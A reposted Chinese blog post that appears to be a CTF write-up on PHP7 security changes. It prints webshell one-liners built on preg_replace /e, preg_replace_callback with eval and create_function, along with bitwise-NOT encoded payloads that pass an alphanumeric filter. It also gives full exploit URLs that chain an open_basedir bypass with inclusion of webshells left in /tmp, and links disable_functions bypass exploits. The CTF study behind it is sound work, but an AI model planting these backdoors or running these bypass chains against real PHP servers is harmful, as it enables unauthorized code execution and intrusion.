[轉+自]關於PHP7的新特性(涉及取反和disabled_functions繞過)


PHP7和PHP5上的安全區別

preg_replace()不再支持/e修飾符

利用\e修飾符執行代碼的后門大家也用了不少了,具體看官方的這段描述:

如果設置了這個被棄用的修飾符, preg_replace() 在進行了對替換字符串的 后向引用替換之后, 將替換后的字符串作為php 代碼評估執行(eval 函數方式),並使用執行結果 作為實際參與替換的字符串。單引號、雙引號、反斜線()和 NULL 字符在 后向引用替換時會被用反斜線轉義.

preg_replace()利用\e的幾個tips

PHP5:
<?php preg_replace("/.*/e",$_GET["h"],".");?>

PHP7:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]);?>

OR:

<?php
function backdoor($a)
{
  // 通常: $a[0]是完成的匹配
  // $a[1]是第一個捕獲子組的匹配
  // 以此類推
  return eval($a[0]);
}
echo preg_replace_callback("/.*/",backdoor,$_GET["z"]);
?>

create_function()被廢棄

<?php
$func =create_function('',$_POST['cmd']);$func();
?>

unserialize()增加一個可選白名單參數

略過。。

assert()默認不再可以任意執行代碼(assert和eval的區別)

這就是眾多馬不能用的罪魁禍首了,太多的馬用assert()來執行代碼了,這個更新基本就團滅,一般情況下修改成eval即可正常運行了~

提一下,菜刀在實現文件管理器的時候用的恰好也是assert函數,這導致菜刀沒辦法在PHP7上正常運行。

這里說一下assert和eval的區別。

php7中規定了php.ini中的zend.assertions來限制assert。我自己實驗,ubuntu安裝php7.0后,zend.assertions=-1,默認並不是1。

 

 

eval函數中參數是字符,如:

eval('echo 1;');

assert函數中參數為表達式 (或者為函數),如:

assert(phpinfo()) 

直接傳遞普通代碼是無法執行的,如:assert('echo 1;');

需要換成assert(eval('echo 1;'));

還有php中有可變函數的定義,比如

 

但是eval()是語言結構,並不是函數,不能作為這樣來調用,所以為什么一句話木馬里沒有將eval用字符串拼接替換,而是用assert(在7.1之前),7.1的新特性就是assert作為語言結構,不能再動態的去執行,比如$_POST['1']($_POST['2']);1=assert,2=system('ls')。

但是我測試了很多次,發現php7.0中依然assert可以作為可變函數去執行,命令,並不是像eval一樣的語言結構,無法作為可變函數,assert再7.0.12,7.1中依然可以作為可變函數。

但是assert確實無法作為一句話木馬,經過測試php7.0中仍然可以通過$_POST['1']($_POST['2'])來實現一句話木馬功能,但是7.1中,assert(xx) xx只能是函數,而不是作為字符串。

 

 

 

 常見語言結構列表

echo()

print()

die()

isset()

unset()

include(),注意,include_once()是函數

require(),注意,require_once()是函數

array()

list()

empty()

十六進制字符串不再被認為是數字

這個修改一出,以后CTF套路會少很多啊~
很多騷操作都不能用了~

可以見ISCC的一道題目,intval處理不了16進制字符串返回0,+1,被強制轉化10進制+1

不向后兼容的變更(移除了 ASP 和 script PHP 標簽)

現在只有<?php ?>這樣的標簽能在php7上運行

 

  • 移除&ltscript language="php"&gt;和&lt;%這兩種另類的php標簽
  • 廢棄容易導致變量覆蓋的無第二個參數的parse_str

php7函數調用解析方式,實際題目分析

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

這道題目時evoA師傅在極客大挑戰中出的一道題目,相比上面的那道題目,這道題目不是簡單的讓我們去執行函數了,而是讓我們通過限制,去進行目錄查看執行命令等操作。仍然是用原來的方法,使用“~”

$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo

 

 執行一下phpinfo,查看一下被禁用的函數:

 

 

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl

可以發現我們常用的執行系統命令的函數都被禁掉了,不過不要緊,我們先嘗試讀取系統目錄,這里使用scandir函數

print_r(scandir('./'));

進行編碼操作

%8F%8D%96%91%8B%A0%8D # print_r
%8C%9C%9E%91%9B%96%8D # scandir

嘗試讀取當前目錄

(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));

 

 發現了readflag和flag文件,嘗試一下直接讀取flag

readfile('/flag');

編碼一下

%8D%9A%9E%9B%99%96%93%9A # readfile
%D0%99%93%9E%98 # /flag

嘗試讀取一下readflag文件

(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));

 

可以看出是一個二進制文件,我們需要執行/readflag文件來讀取字符串,但是我們常用執行系統函數的方法都被禁止了,但是經過fuzz發現,php的assert函數沒有被禁止,我們可以使用assert函數寫shell

assert($_POST['a']);

編碼一下

%9E%8C%8C%9A%8D%8B # assert
%DB%A0%AF%B0%AC%AB # $_POST
%9E # a

嘗試一下

(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);

 //講一下,這里我自己實驗了下,貌似不能這種用法,帶$_POST['x']這樣的取反,只能函數中套函數。可能我深入的還不夠,有師傅知道的,麻煩告訴我。

 

 

 

網頁沒有正常運行,繼續嘗試別的方法

在查看tmp目錄下發現有其他內容

 

 …某不知名大型跑馬場,有現成的就很方便了,隨便讀一個shell看看內容

 

 嘗試文件包含一下

assert(include("hack.php"););

編碼一下,執行命令

(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));

 //說說這里為什么直接結合了include和hack.php,因為include是結構語言,不是函數,因此不能作為可變函數調用,而是作為一個整體調用。

 成功執行,使用蟻劍鏈接一下,上傳我們的bypass腳本和拓展庫,分享一下常用的兩個

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

這個過程就不演示了,主要就是演示一下最后的利用,包含我們上傳的文件  

assert(include("ssll.php"););
(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);

執行命令

 

成功拿到了flag。有了前面兩道題目的基礎,我們繼續研究最后一道題目

我跟着這位師傅的文章,通過LD_PRELOA繞過獲得flag,蟻劍的插件腳本沒有成功。

好巧不巧,今天幫忙做的EIS的web第一題,ezbypass也是bypass disable_functions的題目,與SYC的異曲同工。

ezbypass

 

查看phpinfo

 

 

先繞過open_basedir()去根目錄查看文件

payload:

http://111.186.57.61:10101/?src=&cmd=mkdir(%22/tmp/yunying%22);chdir(%27/tmp/yunying/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27));

 

readflag,好像在紅帽杯看到過這樣的。是一個elf文件,要通過執行readflag去獲取flag,flag是沒權限直接去讀的,必須通過readflag才行。

/flag

 

/readflag

 

但是我們這里看到,disable_functions中禁止了mail和putenv,這樣的話,就不能通過LD_PRELOAD來繞過了。先去讀下/tmp目錄下的東西吧,估計有預置的馬兒。

這里就很像syc的里面的題目的流程了,隨便拿一個php看看

 

 

我們可以通過assert包含馬兒,然后通過繞過open_basedir的方法,直接連上馬兒,直接能跨目錄瀏覽。

url地址:

http://111.186.57.61:10101/?src=&cmd=chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');assert(include(%27/tmp/test.php%27));

連接密碼:

cmd

結合繞過open_basedir和assert文件包含馬兒,蟻劍連接后,可以繞過open_basedir的限制

 

蟻劍上的繞過disable_functions插件不是太好用。既然這里的LD_PRELOAD不好用,那就用json反序列化來繞過disable_functions

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

傳入/tmp中,命令改為/readflag

然后通過剛剛的包含去讀到exploit.php

payload:

http://111.186.57.61:10101/?src=&cmd=chdir(%27/tmp%27);assert(include(%27exploit.php%27));

 

 

 

 

 

 

 

 

 

第三道題目是有關waf的bypass,獨立出一篇文章記錄

學習文章:https://www.jianshu.com/p/40abc594a118

https://www.jianshu.com/p/40abc594a118
http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%E5%87%BD%E6%95%B0%E7%89%B9%E6%80%A7%E5%88%86%E6%9E%90/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM